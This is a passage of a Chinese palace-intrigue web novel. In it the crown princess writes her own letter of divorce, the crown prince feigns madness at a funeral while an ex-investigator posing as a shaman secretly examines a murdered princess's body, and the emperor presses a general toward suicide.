景思娴看她身上的伤:“血又晕透了衣衫,你受罪了……我会让太子殿下写休书,及时与景家撇清关系,是唯一的办法。”
兰见春摇头:“不能……如果写了休书,娘娘您会没活路的……太子殿下一定能想办法,娘娘不妨再等一等。”
“连云栈都逼到了这里,殿下再坚持下去,只会被我连累。”景思娴说,“景家和殿下为了太子之位筹谋多年,不能在今天毁于一旦。”
景思娴起身向桌案走去,兰见春踉踉跄跄地追上去,拉住了她的衣角。
“起来,”景思娴把她扶起来,“伤口会撕裂的。”
“诏狱不是人待的地方。”兰见春恳切道,“连云栈并非善类,清白的人到她手里都得遗臭万年,娘娘不能!”
“闹得这么难看也算是我咎由自取,兰夫人,你不必劝我。”景思娴看向桌上空白的宣纸,“一纸休书,保住了太子,很值。”
兰见春抓着她的衣角不放手:“殿下将娘娘视作家人,他必定不愿意娘娘为了保他而如此!”
景思娴蹲下来,笑着说:“兰夫人,这太子妃之位,于我而言何尝不是一副枷锁?殿下是我家人,并非是我想嫁的人。这桩婚姻于我于他,都是囚笼。如今终于有一个机会能摆脱它,我求之不得。”
61. 休书
兰见春手上的力气小了些。
“兰夫人,我觉得你会明白我。”景思娴双手搀着她,“来,起来,地上冷。”
兰见春站起来,她看着景思娴,她的确从她的严重看到了释然。兰见春收回手,她知道景思娴心意已决。
“我们会再见的。”景思娴双手握住她的双手,“估计到那时,我们都能坦坦荡荡地活着。”
兰见春点头。
“请为我研墨。”景思娴替她擦眼泪,“我的休书,我要自己写。”
与此同时,殿外。
“殿下,莫要阻拦晦朔司。”
萧沃抬眼看连云栈,明知故问:“连司丞,您来东宫有何贵干?”
“太子妃与人私通,”连云栈说,“臣奉旨将其捉拿归案。”
“昨日抓本宫表弟,今日抓本宫的太子妃。知道的,是晦朔司办案,不知道的,还以为本宫这个太子要被废了。”萧沃故作平静,“本宫与太子妃相敬如宾、感情甚笃,本宫怎么不知道太子妃与外男私通?连司丞既然说她私通,那奸夫是谁?”
连云栈眉眼含怒:“此事涉及皇家颜面,臣不能说。”
“是不能说还是不知道?”萧沃冷笑,“依本宫看,不光你不知道,‘上位’……也不知道吧。”
连云栈一怔:萧沃明显话里有话。
连云栈向萧沃展开皇帝手谕:“诏书在此,殿下,还需臣再为您念一遍吗?”
萧沃:“本宫不瞎、不聋。”
“您为何一再阻碍公务?”连云栈压着火道,“耍无赖吗?”
萧沃抬高了声音:“今日就算陛下来了,本宫也不会让你们把太子妃带走。”
连云栈呵斥道:“您要抗旨吗?!”
“本宫的妻子让无耻之徒诽谤,陛下让奸臣谗言所蒙蔽,本宫不该怒吗?!”萧沃抬眼登连云栈,“冤枉一个景栖云还不够,还要冤枉本宫的太子妃吗!”
连云栈眯起眼:“抗旨是死罪!”
萧沃哼笑。
“吱……”萧沃身后的门开了。
景思娴一身素衣,脱簪而出。她一手拿着休书,另一手拿着太子印。
萧沃看见她,猛地站起来:“娴妹?!”
景思娴跪下,将储君册宝呈给萧沃,后展开休书,念道:“东宫储妃景氏,错承天恩,得侍太子之侧……”
“不行!你起来!”萧沃想把她拉起来,却被景思娴一把推开。
景思娴继续念:“然——妾侍奉殿下经年,未有儿息……”
“景思娴!”萧沃打断她,“起来!”
景思娴就跟没听见似的:“七出之条,“无子”居首。妾上不能为皇家绵延子嗣,稳固国祚;下不能慰储君殷殷之望,令殿下内帷不宁,徒增烦忧。妾自知罪孽深重,万死难辞其咎,今请离弃。”
“不要……”萧沃紧紧捏着他的太子印,仰头望灰色的天。
景思娴泄了口气:“妾愿自废太子妃之位,归还册宝,妾与太子殿下……再无关联。”
萧沃哽咽道:“不行。”
“望殿下另择良人,早诞皇嗣,以固国本。”景思娴把休书呈给萧沃,她等他盖上太子印。
萧沃看着休书上景思娴干净利落的字体,心就跟有刀子割一样疼。
是的,他知道与景家割席是最好的解决办法。
景思安年少立军功,将来必会走得比景皑还要远。木秀于林风必摧之,皇帝逼景思安做驸马,还不够。
即便知道昌宁之死是萧回栽赃,皇帝也会趁机把罪过扣在景家头上,唯有如此,景家才能彻底垮台,再无东山再起的可能。
萧沃与景家有千丝万缕的关系,倘若他还想要这太子之位,他就必须休了景思娴。
但他不想,这分明是亲手推手足亲人下火坑。如果景思娴一直是太子妃,如果自己能一直坚持她没有做错事,如果自己能在萧回下一步动作之前扳倒他——
或许自己与景思娴的结局,能更体面一点。
“我不要……”萧沃说。
景思娴知道他的犹豫,说:“殿下,莫要一错再错。”
萧沃摇头。
“殿下!”景思娴稍微抬高声音,复又小声道,“我们错不起。”
萧沃想看看她的眼睛,但她低着头,他捕捉不到她任何的情绪。
错不起……萧沃讽刺地笑。
他举起太子印,摁在了她的“休书”上。
“景氏。”连云栈抬起两根手指,便有两个女官冲上来,抓住景思娴的肩膀,“带走。”
景思娴额头甩下两根碎发,她让人像拖死狗似的拖走。萧沃目送她离开,她一路笑,却一路没回头。
她不情不愿地嫁给萧沃,笑嘻嘻、惨兮兮地离开萧沃。终究是他欠了她太多。
鸽子飞来飞去。
晦朔司离开后,东宫像乱葬岗一样静。
远处传来鸽哨声,哗啦啦一声,大片鸽子飞过四方方的天,从南飞到北,从东飞到西。天上的鸟哪哪都是自由,地上的人却哪哪都是囚笼。
萧沃蜷缩在兰见春床前的脚凳上,双手圈着膝盖,望着远处的屏风出神。屏风上绣着辽北的边疆,有巍峨的北阴山,有辽阔的草原,有奔腾的马群。
他不知道自己在等什么,或许是在等兰见春转危为安,又或许是在等这场噩梦醒来。
兰见春时睡时醒,混沌沌间,她好像听见了故乡的黄河的咆哮声,感觉自己的身体在上下飘荡。她尝试睁开眼,看见天地间一片黑暗,唯有河的咆哮声越来越大。
她的身体摇晃,好像站在一条船上。
“兰见春。”
有人呼唤她的名字。
兰见春回过头,看见岸上坐着一个人。她看不见他的脸,却能感觉到,他流泪了。
“爱哭鬼。”兰见春小声说。她攀到船的边缘,看见有一根七彩的细线连接了船头与……萧沃。
萧沃抓住那根细线,始终不肯放手。他又跟兰见春犟上了,不出言挽留,也不松手。
河水越来越急,那根线时而绷紧,时而松开。不知道兰见春在河上漂了多久,天上开始下雨,一滴滴地打在她的手背上。
“回家。”她听见他说。
“回家。”七彩细线再次绷紧,逆着河流流向把她往岸边拉。
“回家……”
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兰见春睁开了眼睛,有暖融融的光落在脸上。她眯起眼,缓了很久有尝试挣开,映入眼帘的是水墨色的床帏。
她活动活动手腕,才发现萧沃一直抓着她不撒手。她看见自己床边有颗圆滚滚的脑袋,她伸手,摸了摸他的后脑。
萧沃别过脸,他的眼睛肿得跟桃似的,见兰见春醒过来,他破涕而笑。
“你终于醒了。”
“太子殿下,”兰见春摸到他冒头的胡茬,扎手,很痒,“多长时间了?”
“这是第五天。”萧沃说,“还有两天,昌宁就要下葬了。”
兰见春咽了口唾沫,萧沃赶紧为她斟了水。他把她扶起来,在她后腰塞了两个软垫。他们靠得很近,兰见春能感觉到他在感受她的气息。
“我没事了。”她说。
萧沃端着碗,舀一勺温水送到她唇边。兰见春抿了一口,觉得这样实在太慢,就用没伤的手接过来,一仰而尽。
把空碗递回去,萧沃又给她续了一碗,兰见春再喝干,再续、再喝干……兰见春足足喝了五碗水,才勉强压下心里的火。
兰见春问:“有太子妃的消息吗?”
萧沃摇头:“她和栖云自从进了晦朔司,就跟人间蒸发了一样。”
“澄阳侯府那边呢?”兰见春问。
“一切如常。”萧沃看着空碗底。
景思娴走了,萧沃并不开心,兰见春也觉得悲凉。
萧沃沉吟许久,才说:“是我害了他们。”
兰见春握住萧沃的手:“殿下不要这样,既然事情已经发生,就不要自责,何况这本就不是殿下的错。”
萧沃望着她的眼睛,很久,终释然地叹息:“那天到底发生了什么?”
兰见春说:“原本我盯得人只有殿下,殿下昏过去了,我还以为殿下喝醉了。之后倒下的人越来越多,我才感觉到不对劲。便去了内院,发现公主殿下,把剑架在世子脖子上。”
萧沃问:“昌宁要杀了栖云?”
“看起来是的。”兰见春说,“但我觉得,公主并不想真的杀了世子。世子昏过去之后,公主完全有机会杀了他,但直到屹王闯进来,公主都没动手。”
萧沃问:“萧回舍得现身?”
“屹王一直问公主,‘东西在哪’、‘把东西交出来’,公主没给他,他就要杀了公主。我这才与他交手,屹王边打边退,之后,就有人来救他。”兰见春回忆道,“那人身形纤细,眼角有颗痣。”
萧沃想了想:“是赵照,他的王妃。”
“他们配合得极好,我不是他们的对手。”兰见春说,“他们一块去了皇宫,等我回到公主府,发现公主已经遇害身亡。那把剑透过床板足有两寸,杀人者肯定身强力壮。”
萧沃叹息:“那不正好说明,人是栖云杀的?”
“世子真冤枉,”兰见春说,“我愿意为世子作证。”
萧沃摇头:“你好不容易活过来,不要以身犯险。”
兰见春低声说:“可世子是无辜的。”
“没人关心他是否无辜。”萧沃说,“他是景家人,是东宫太子的表弟,是立了军功的少将军,就该死。”
62. 做法
兰见春难过地说:“世上没这种道理。”
“不给东西,那就去死……结果她真的死了。”萧沃轻声说,“昌宁是不是在报复我?”
“为什么要用自己的死来报复别人?”兰见春说,“如果我是昌宁公主,如果我想折磨殿下,我就会把‘东西’给屹王。”
“这‘东西’到底是什么?”萧沃嗫嚅道,他想起那天在磬音楼,萧锦问过他,好不好奇自己手中的“东西”是什么。
她的话到底是什么意思?
兰见春问:“如果可以……能不能验尸?”
萧沃回头看着她,有些绝望地问:“有用吗?”
“总不能坐以待毙。”兰见春说。
萧沃把头扭向一边,一脸苦相。
兰见春笃定地说:“公主死的蹊跷,验尸一定会有发现。”
萧沃突然爆发:“有用吗?!还谁会关心公主怎么死的?验尸……难道会验出来她是自杀?”
兰见春:“只要有一点希望也要去争取啊!总不能眼睁睁地看他们去死!”
“有用吗?我问你,有用吗?!”萧沃咽了口唾沫,“有人铁了心要我死,就不停地用他们来逼我,只要我不死,就不会停!”
“他想要你死你难道就去死吗?!”兰见春被他吼蒙了,“你怎么了?”
“我好累,”萧沃说着又开始流眼泪,“我好累,我真的好累。我从小就在想怎么对付他,读书读书要防着他超过我,习武习武也要防着他……
“他在西北立了军功,我也要想办法在辽北立军功,他不敢亲自上战场,而我一刀一枪地战了三年!这二十多年里,我没有一分一刻的懈怠,做梦都在害怕,怕哪天他超越了我,怕哪天对父皇会因此抛弃我!”
兰见春原来还生气他怎么突然发怒吼自己,听他说这些话,又开始心疼他,用自己的袖口给他擦眼泪:“别哭了。”
“我真的……对不起。”萧沃抓住她的衣袖,“我不想跟你发脾气,可是我……”
“谁都有脾气。”兰见春主动抱住了他,“殿下心里苦。”
萧沃抱住她的腰,像掉下悬崖的人抓住崖上的树。
经过乔竹心三年的训练,兰见春变得比以前更强壮。她的腰上有肌肉,但不发力的时候软软的,枕起来很舒服。
她用没受伤的手抚摸萧沃的后脑,说:“殿下是太子,该鱼死网破的,是他才对。”
萧沃喘了口大气,换另一边脸颊枕着。
兰见春低头看他,他刚才还是焦躁痛苦的神情,现在看起来又很安心。她心里也松了口气。
萧沃问:“如果我想验尸,要怎么办?”
兰见春想了一会,说:“殿下得偷着来,不能直接跟陛下说要验尸。”
萧沃不理解:“为什么?”
兰见春:“殿下一说验尸,就绕不开晦朔司。仵作属晦院,都是连云栈的部下。如今的晦朔司是她说了算,验也是白费力气。”
萧沃说:“那我上哪去找仵作?无论是从刑部还是大理寺还是上京府,都会引起晦朔司的注意。”
兰见春说:“我这倒是有个人,她肯定能帮到殿下。”
萧沃:“谁?”
“我的大师姐,吴泪。”兰见春说,“三年前老师‘死’后,师姐也被连云栈排挤得离开了晦朔司,但是她办案的本事还在。”
萧沃想了想,还是觉得不行:“京城里的人都认得吴泪,我怎么把她带到灵堂里?”
兰见春说:“这些年为了谋生,她一直干着为贵妇人抓外室、为纨绔盯花魁的活。可惜这也不够生活,她拜了辽北的巫师‘学艺’,靠着给小孩‘收魂’、给老太驱魔贴补家用。”
萧沃有种不好的预感:“你要让她扮成巫师,随我去灵堂吗?”
兰见春点头:“对。”
萧沃想了半晌,说:“你能带我见见她吗?”
“我叫师姐来东宫便是。”兰见春拽出挂在脖子上的哨子,向东北方向吹响。
那声音与一般的哨子并无不同,但她吹的节奏特殊。
“音调不一样,还抑扬顿挫的。”萧沃好奇地看着哨子,平平无奇的小玩意,竟然还能有这么大的作用,“原来你们就靠这个联系。”
“这里面还藏着话呢。”兰见春把哨子摘下来给萧沃看,“吹出来节奏不同,代表我们想说的话也不同。我刚才说的就是‘要事相商,东宫’,过会师姐就来了。”
“这么厉害?”萧沃把哨子拿过来端详,“小小一个,刚好可以藏在身上,还能传话……这要是用在战场上,得有多大用处!”
兰见春说:“但也有坏处。我们能听见哨声,敌人也能听见,久而久之,他们把我们的吹法学了去怎么办?”
“就算是暗桩,也有暴露的风险。”萧沃把哨子还给兰见春,“这已经是很好的传讯办法了。”
此时屋顶的鸽子再次飞起,兰见春抻脖子看,开心地说:“来了!”
哗啦啦地一声,从窗户外飞进来一个穿夜行衣的女人。她精瘦精瘦的,一根木簪子束紧黯淡无光的头发,但双眼冒光,像野生的鹰隼。
萧沃一时没认出来人。
“太子殿下。”吴泪跪下给他行礼。
萧沃顿了片刻,才想起把人扶起来。捏着她纤细、坚硬的手臂,萧沃恍了神:“上次见到同知,还是三年前……同知变了模样。”
吴泪站起来,恭恭敬敬地说:“草民已经不是朔院同知,殿下,您直接喊草民的名字就好。”
萧沃点头:“离开晦朔司之后,你怎么活下来的?”
吴泪知道,萧沃的言外之意是,皇帝给晦朔司的每个人都下了毒,一个月不吃宫里发的解药,就会丧命。而吴泪离开晦朔司,就拿不到解药了,怎么能活到现在呢?
“那还是多亏了何白。”吴泪说,“她跟老师破了解药的药方。”
萧沃松了口气:“那太好了。”
兰见春问:“殿下?”
“你们都能活下来,那真的太好了。”萧沃看向兰见春,“太好了。”
兰见春看向吴泪:“师姐,我找你是有要紧事。”
吴泪看见她受伤的肩膀,心疼地说:“怎么又伤这么重?”
“从屋顶上摔下来了。”兰见春故意把大事往小了说,“没什么事。”
吴泪越过萧沃,伸手碰她的伤口,虽然都包扎好了,但吴泪也心疼得不行:“对面是谁?”
兰见春目光躲闪:“他们跑得太快,我没——”
“是萧回与赵照。”萧沃替她回答,“他们利用昌宁的婚事,算计了整个靖国公府。兰夫人与他们交手,但终究不敌他们两个
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,中了一剑,还摔下了房顶。”
吴泪沉默着,但脸色变得越来越难看。
兰见春说:“我没事。”
吴泪别过头:“说吧,要我怎么办?”
“昌宁公主死得蹊跷,我觉得,应该验尸。”兰见春说,“再过两天公主就要下葬,殿下总得在灵堂露一面。我想,不如趁这个机会,师姐扮成巫师,跟殿下进入公主府。”
吴泪说:“殿下去吊唁,还要带巫师?很容易引起怀疑。”
兰见春看向萧沃,说:“我倒是有个主意……”
萧沃有股不祥的预感:“你说吧。”
“殿下装疯。”兰见春说,“您就说,公主常常给您托梦,不,不光托梦,甚至能看见她在东宫内游荡,逮殿下就说自己死得冤枉。您让亡魂搅和得日夜不安,于是带来了巫师,为公主超度以求心安。”
吴泪忍俊不禁,让太子殿下装疯……这兰见春可真够敢说的。
“这样……”萧沃认真地想了半天,“此计虽然丢人,但好在我素有疯名,偶尔‘旧疾复发’一下,也情有可原。”
吴泪笑不出来了:“真的吗,殿下?”
萧沃认真地说:“当真。只要能把你带进去,验明昌宁真正的死因,丢点脸又算什么?”
—
公主府的灵堂内,萧沃一身缟素前来拜祭,而他身后,跟了一个穿着暗红色长袍、腰间挂一串山鸡尾巴毛的、留山羊须的“怪人”。
这人左手拿一把剑,右手举一支黑漆漆的犀牛角;肩膀宽得出奇,感觉从左肩到右肩得要快马五日才到;眼睛一圈都是黑色的,像是刚从灶膛里掏出来;头上戴的是纸糊的帽子,还带翻页的,每一张上都画了不同的神仙妖怪。
萧回原本没想回头,听见这叮叮当当的声音,转身一看,差点没被这人吓昏过去。
萧回急忙后退,拔出佩剑指着那怪人,质问萧沃:“你这是干什么?”
萧沃就跟没见到他的剑似的,奔着萧锦的棺材、牌位就过去,顺势瘫在蒲团上,哭道:“锦妹!大哥来救你了!”
萧回正面对着他接连后退,退避三舍。
萧沃一手抚膺,一手指着棺材后面,哭道:“你为何站在那,你的心口,怎么都让人剖开来了!”
萧回看向角落里,除了白幡子,明明什么都没有啊!
“我可怜的锦妹,可怜你遇人不淑,让最亲的人害死了呀!”萧沃捶胸顿足,“都是大哥不好,救不了你,还放任他在你面前上蹿下跳、耀武扬威!”
“你说什么疯话呢!”萧回一个箭步冲上,“萧沃!这不是你发疯的地方!”
“是你!”萧沃转头冲萧回吼,“锦妹就是让你害死的!”
一语既出,连灵堂外负责吹打的乐师都顿了半拍。萧回的副将萧成功见状,赶紧轰其他人走。
灵堂内只剩下萧回与萧沃,还有那个“怪人”。
萧回指那个人:“你整这些怪力乱神,难不成是想趁机害本王?!”
萧沃不理他,反而继续对刚才那个方向说:“最近你给我托的梦,你对我说的话,我都记得明明白白!我知道!我知道!你是枉死的,得到这样的结果,你不满意,别怕,大哥会为你主持公道!”
萧回用剑指着他:“你要发疯回自己家发!这是昌宁的灵堂!”
63. 钥匙
萧沃对他说:“你可知道,锦妹在梦里,都跟我说了什么吗?”
萧回讶异道:“人都死了,上哪说话去?”
“她说,是你,是你派人杀了她。是你让人把她钉在床上,让她死了都不得超生!”萧沃指着那“怪人”,“本宫今日就要让巫师为她超度,让她脱离苦海、早登极乐!”
萧回指着自己:“我?我杀的?滑稽。”
“是,景思安已经做了你的替死鬼,连陛下都相信,你不是凶手。”萧沃红了眼眶。
萧回挑衅道:“景家没了,你空有太子之位,什么都没了。到底是谁杀的昌宁,重要吗?只要陛下相信是景思安,那就够了!”
萧沃嗤笑:“对啊,我掀不起多大风浪了,再过几日,我也该被废了。如今我就一个心愿,让大巫为昌宁超度,我不想一闭眼就见到昌宁,我不想让一个死人闹得家宅不宁!”
萧回笑:“你家宅不宁,不正顺了我的心意?”
谁料话音刚落,萧沃抬腿,踹了萧回胸口一脚。萧回向后栽倒,手中的剑也被甩到了角落里。
萧回大骂:“你疯了?!”
“对,我让昌宁搞疯了。”萧沃一手将萧回拎起来,“都怨你屹王啊,不让我的人办事,如今我疯了、狂了,都怨你!”
萧沃直接把萧回踹去了院中,临走还帮“大巫”带上了门。
萧回让萧沃摔得心肝肚肺都要炸了,他捂着胸口,指远处的萧成功:“你愣着干嘛?!还不快来帮本王?!!”
“殿下……”萧成功看看萧回,又看看萧沃,为难地说,“属下……属下不敢。”
“你总跟个懦夫似的。”萧沃抻抻双臂,松快松快筋骨,“有什么事先搬救兵,犯了错也让别人替你顶锅。萧家竟有你这种可以裱起来的孬种!”
话音未落,萧沃一步跃下四个台阶,一手摁住萧回的衣襟,另一手挥拳砸向他的脸。
萧回快速躲闪,试图挣脱萧沃。可他力气太大了,真跟泰山石一样,萧回挣都挣不开。
萧沃一边出拳一边骂:“你不是在潼裕勇猛得很吗!来啊,站起来!”
“疯子!”萧回抱着脑袋躲闪,结果还是挨了好几拳。
“刚才还敢用剑对着当朝太子,”萧沃照他的脸就打,“你可懂一点人臣之礼?!”
萧回抬起大胯,直接把萧沃震了出去,他一个鲤鱼打挺跳起来,捂着青一块紫一块的脸,骂道:“我不懂人臣之礼,你不由分说就揍我,你又懂得何为人君之仪?!”
“对你,没必要懂。”萧沃扯下一段丧服,缠住自己的手,“本宫回京那日,你派刺客来取我性命。可惜,他们都是群废物,根本杀不了本宫。”
萧回:“无凭无据,你凭什么说是本王要杀你?”
“是吗?”萧沃说,“你以为左贤王死了,你跟力剌人做的破烂事,就没人知道了吗?”
萧回眼中闪过一丝慌张。
“几匹马,一个力剌质子,不足以让本宫退兵。”萧沃站在萧回面前,微微低头凑近他,“本宫原想放过你,可你一而再再而三地逼本宫!”
萧回恼羞成怒,直接跟萧沃扭打在一起。
他们在院中叮叮当当地打起来,而灵堂内所谓的“大巫”,早就推开了萧锦的棺材。
吴泪侧耳听外面的响动,萧沃萧回两兄弟打得正热闹呢。她赶紧吹两把牛角,假装自己的的确确在“做法”。复又从腰带里掏出小刀,准备开膛验尸。
吴泪扶着棺材,第一眼注意到萧锦的表情。她很平静,像是睡着了。
吴泪快速地把萧锦的衣服解开,看见她心口一个酒盏大的伤口,刚好是那把穿膛的剑留下的。
她疑惑地盯着萧锦,心说,如果刚好看着自己被人一剑钉死在床上,会是这种表情?不该是惊愕、痛苦万分吗?
另外,据兰见春描述,当日她见到公主时,血浸透了她的嫁衣,但床帏和地上都没有喷溅的血迹。按理说,人在被刺穿心口时,血顿时如井喷,别说浸透一身衣服,连床褥、地毯上都是血才对。
但这些统统没有。
萧锦的出血量是不符合常理的。流这么少的血,很有可能是在她被刺的时候,心脏就已经濒临衰竭,甚至已经死亡。
吴泪取出银针,刺萧锦的手腕。
——针没变黑,没中毒。
吴泪一手拖着衣袖,另一手则探到棺中,先从她的咽喉开始,慢慢地往下摸,越过胸部,抵达腹部。她从胃开始,用力按压。
起初,胃还没有什么异样,她慢慢地从左摸到右……
不对。
这块怎么这么硬。
吴泪踮起脚往棺椁里看,发现自己摸的位置,恰好是胃与肠子的连接处。
她的拇指与食指、中指齐用力,最后确认,在这个部位,大概有一扎长、一寸宽的区域是极其僵硬的,往下按压,还能摸到它的“棱角”。
吴泪好像知道夺走萧锦性命的东西是什么了。她抬头看灵堂外,萧沃还跟萧回打得火热,好像萧成功也加入了。
二对一,屹王不地道啊。
吴泪额头渗出缜密的汗,她感觉萧沃也坚持不了太长时间。留给自己的时间本就不多,必须在他们“停战”之前把这东西拽出来。
吴泪再次吹响牛角,“哞哞”的声音像是给自己壮胆似的。她从靴子里掏出一根长柄细钩子,轻轻掰开萧锦的嘴,把钩子探进了她的食道中。
灵堂里风萧萧地荡过,拂过人的背后,比晦朔司大牢还阴还冷。外面打斗的声音时大时小,每当那声音变小,吴泪就吓得浑身冒汗。
万一有人发现了不对劲,突然闯进来怎么办?她一边告诫自己不要胡思乱想,一边又控制不住地设想有人突然拍她的肩膀,回头一看发现是连云栈的场景。
钩子马上就要拐出食道,进入萧锦的胃……
“吱吱……”
有人!吴泪猛地往棺材下边藏,立马抱住了脑袋,那声音越来越近越来越近,她忍不住挣开一只眼去看。
一只肥硕的灰老鼠从她面前跑过去,之后顺着香案跑到了桌上,偷吃贡品。
吴泪这口气不敢松,她颤颤巍巍地站起来,双手扶着棺材板,慢慢露出俩眼睛,巡视四周确实没有其他人,这才松了口气。
“萧荫槐!你他妈的得疯牛病了!”
吴泪终于松了口气,她继续下钩子,穿过胃、抵达十二指肠……钩子不动了。
她碰到了那个硬块。
她试着钩它,一次不行,两次,三次……汗一滴滴地打在萧锦的尸体上,吴泪撑得越来越累,她的眼睛通红,感觉浑身的血都倒灌到她的脑袋里。
“你的人在里面搞什么名堂!”
“你故意跟我打架,对不对?萧荫槐,你别以为我不知道你怎么想的!”
吴泪看向门外,萧回已经察觉到不对劲,他向灵堂走来。而自己始终都没有把那东西勾上来,怎么办……
窗上印出萧沃、萧回的身影,吴泪的心脏要蹦出嗓子眼了。
“萧荫槐,再不让开,本王就要叫晦朔司的人来了。”
萧回一把推开萧沃,一脚踹开灵堂的门。
那“怪人”假装没看见,
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继续挥舞着剑,在灵堂内跳大神:时而举起双手,仰天长啸;时而把剑摔在地上,冲一个角落大喊“哪里跑!”;时而围着棺材念一些常人听不懂的话。
最后她站在萧回面前,用剑划破了自己的掌心,猛地跳起,把血乎乎的手,摁在了萧回脸上!
“啪!”
在场所有人都惊了,包括吴泪自己。
灵堂静悄悄的,白幡让风吹得窸窸窣窣地响,像有人在走动。一股气卷起纸钱,把它们带进了火盆中。黄纸慢慢燃尽,终究化为一点灰烬,随风消散。
好像有什么恩,有什么恨,都在这一瞬间化为齑粉,随时间,一去不复返。
萧回的脸上留下一个血手印,他缓了很久才想起要擦干净,他用手胡乱地抹,可越擦越脏,越擦越擦不净,像是个耻辱的烙印。
吴泪缓缓收剑,压着嗓子用老男人音对萧沃说:“太子殿下,草民已经为公主殿下超度完毕。公主殿下定能脱离苦海、早登极乐。”
“好……”萧沃还没从她刚才拍了萧回一巴掌中回过神,甚至都开始给吴泪行礼,“多谢大师……”
吴泪敛眸,颔首致意。她一脸肃穆地退出灵堂,那个满脸是血的萧回就看着她的背影。
萧沃舒了口气:“如今本宫心魔已结,身上神清气爽,也不觉怒火冲天。刚才多有得罪,二弟,本宫在此跟你赔罪了。”
萧回被他打得鼻青脸肿,又让吴泪拍了一脸血,现在活脱脱的像个恶煞。他指着自己的脸,问萧沃:“这怎么解释?”
“本宫说了,本宫刚才着了魔。”萧沃俯身跟他赔礼,“今日,我必定让东宫里最好的大夫为二弟瞧病。二弟,望你原谅大哥,大哥也不想你我兄弟闹成这个样子。”
萧回气得直笑:“你差点把我打成残废。”
“不终究还是差了点?”萧沃说,“大哥我岂是只会用蛮力解决问题的人?以前出了什么事,不都跟你有商有量地解决。今日这般,大哥也是没想到。实话实说,刚才,我切切实实感觉,那不是我!”
萧回:“……”
“是鬼!是心魔!”萧沃说得跟真有那回事似的,他直起身,连忙给萧锦烧了一沓纸钱,边烧边流眼泪。
非常克制地哭过后,萧沃站起来,又给萧回行礼,“今日多有得罪。晚些,大夫会到二弟府上。”
萧回气得直笑。
“节哀顺变……”萧沃拍拍萧回的肩膀,又说,“本宫也是……走了。”
萧沃绕开萧回,跨出了灵堂。
天似乎变晴了,有阳光透过云的缝隙,落在灵堂前面。
直到萧沃与吴泪上了马车,吴泪才收起刚才那副严肃模样。她从袖中取出一个小布包,展开是一把挂着血的金钥匙。
“这是我从公主殿下的腹腔里发现的。”吴泪惋惜地说。
萧沃用帕子捏着钥匙柄,掀起一点帘子,让阳光透进车里来。钥匙上还挂着粘稠的液体,散发的难闻气味让人作呕。
吴泪说:“公主殿下是吞金而死。那一剑,是在她死后插上去的。”
萧沃屏气凝神,端详钥匙良久。
萧锦说过,她手里有要命的东西。萧回用她的命威胁她把东西交出来,萧锦宁可自己吞下打开秘密的钥匙,宁可去死。
萧沃替她可惜。
“刚才在灵堂,我感觉冥冥之中……”吴泪说,“最后那一掌并非我所愿。”
“我知道。”萧沃调转钥匙的方向,借阳光扫视它的,每一个细节,忽然,他注意钥匙的内侧有三个小字。
“刘、家、峪……”他念道。
64. 景皑
乾清宫内,景皑跪在皇帝面前,双手托着过去皇帝赐给他的刀。
景皑:“陛下,罪臣教子无方,请陛下降罪。”
皇帝仍在批奏本,别说抬头了,连眼皮都不带抬的。
景皑咬了口唾沫,他跪得太久了,膝盖疼得要命。他哽咽道:“罪臣愿意替子受过。”
“你两个孩子呢。”皇帝依旧不抬头,“一个秽乱东宫,一个谋杀公主,你有八个头也不够砍的。”
景皑说:“罪臣什么都可以不要,只希望陛下能留下他们的命。”
皇帝抬眼看他:“爵位,战功,好名声,还有这条命,你都能不要了?”
“只要陛下能留下罪臣的孩子,罪臣什么都不要。”景皑哽咽道,“孩子们都还小,不懂事,都是我这个当父亲的罪过。”
皇帝挑眉。
景皑继续说:“罪臣只希望孩子们能活下去,做个庶民,老老实实地过完这辈子。”
皇帝笑了。
景皑说:“罪臣就这一点心愿,陛下,看在罪臣这么多年为您效忠的份上,成全罪臣吧。”
皇帝笑了,他频频点头:“朕成全你。”
景皑站起来,就要退。
“别走,就在这,”皇帝冲他怀里的刀抬抬下巴,“就用朕送给你的这把刀。”
—
晦朔司大牢内,景思安被安排在了最阴的囚室中。
“滴答滴答滴答……”石块垒的墙不停地冒汗。空气又潮又阴,景思安身上的旧伤又痒又疼。
他蜷缩在地上,使劲挠胳膊肘上的刀疤,像一只害怕的穿山甲。
他不敢合眼,怕一睡着眼前就浮现昌宁被人一刀捅穿胸膛的场景。
“景思安。”
他顿时缩得更紧,双手抱住脑袋,闭上眼大叫道:“别杀我!别杀我!”
皇帝故意咳嗽两声,看两眼墙上青苔,捂住鼻子,嫌弃地撇嘴。
“景思安,”连云栈稍微大点声喊,“陛下驾到。”
“陛下!”景思安腾的一下从稻草堆上爬起来,他砰砰砰地给皇帝磕头,“吾皇万岁万岁万万岁!”
皇帝眉眼略微舒坦些,说:“起来回话。”
景思安听话地站起来,头依然埋得很深。
皇帝顿了顿,问:“你就没有要跟朕说的?”
“陛下不问,臣不敢多说。”景思安恭恭敬敬地说。
皇帝余光看见萧回与连云栈脸色变难看了。这两位就爱抢答,有些话他还没问,人家就立马回答了;有些事他还没做,人家就麻利地干完了。
皇帝:“你现在可以说了。”
“陛下明鉴!臣什么都没做!”景思安跪下,说,“婚礼那日,公主把刀夹在臣脖子上,扬言要杀了臣!随后臣就因中了蒙汗药昏了过去,醒来就发现公主殿下已经遇刺。”
皇帝:“你也中了迷药?”
“臣不敢欺瞒陛下。”景思安说,“臣听得清清楚楚,公主殿下亲口承认,她在宴席上下了药,就为了杀了臣。”
皇帝问:“昌宁为何要杀你?”
景思安说:“公主殿下说,她心有所属,不愿嫁与臣。”
“可昌宁跟朕说,她情愿嫁给你。”皇帝说,“昌宁在朕身边长大,朕从未听说过她有什么心上人。你为了给自己开脱,当真煞费苦心。”
萧回在旁边煽风点火:“是啊父皇,在此之前,儿臣也没听说过妹妹与谁家的贵公子走得近。哪来的‘心有所属’一说?”
景思安:“臣所言句句属实,臣万万不敢欺瞒陛下!”
皇帝冷哼一声:“你说你也昏了过去,又有何人可以证明?整个公主府的人都中了药,连太子都昏了头!”
景思安说:“陛下,臣吃了熊心豹子胆,都不敢杀公主殿下!谋杀公主是何等罪过,臣不敢拿全家人的性命开玩笑!”
皇帝微微动容,他何尝不知道景思安没这个胆子?
“可昌宁知道你长姐的秘密,要向朕揭发她!”皇帝俯身对景思安说,“你为了保住你姐的太子妃之位,也是为了保住你表哥的太子之位,你不得不这么做,对吗?”
景思安猛地一颤,他就知道,萧锦不会无缘无故地提起太子太子妃,他当然知道景思娴与叶崇的事,却也知道他们在三年前就断了联系。
萧锦的死,倒像是为了拉整个景家下水而精心设计的阴谋。
